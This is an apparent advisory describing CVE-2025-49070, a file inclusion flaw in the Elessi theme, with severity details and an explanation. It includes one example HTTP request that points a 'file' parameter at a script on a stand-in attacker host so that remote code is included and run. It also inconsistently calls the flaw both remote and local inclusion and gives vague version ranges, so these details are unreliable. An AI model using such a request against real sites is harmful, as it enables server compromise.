Overview
The CVE-2025-49070 vulnerability signifies a PHP Remote File Inclusion weakness in the NasaTheme Elessi. This vulnerability, affecting an undisclosed range of Elessi versions, allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. The severity and potential impact of this vulnerability underline the importance of immediate mitigation.
Vulnerability Summary
CVE ID: CVE-2025-49070
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
NasaTheme Elessi | All versions up to the latest
How the Exploit Works
This vulnerability works through an improper control of the filename for the Include/Require statement in a PHP program, known as PHP Remote File Inclusion. This allows an attacker to include arbitrary local files via the affected Elessi theme. By exploiting this vulnerability, a malicious actor can manipulate the PHP include function, leading to unauthorized control over the system, potentially compromising it and causing data leakage.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability might be exploited:
GET /index.php?file=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.com
In this example, the attacker is using the HTTP GET method to request the ‘index.php’ file from the server. The ‘file’ parameter in the URL is manipulated to include a malicious script hosted on a remote server (malicious.com). The server, due to the vulnerability, includes this remote file, allowing the attacker to execute arbitrary PHP code on the server.

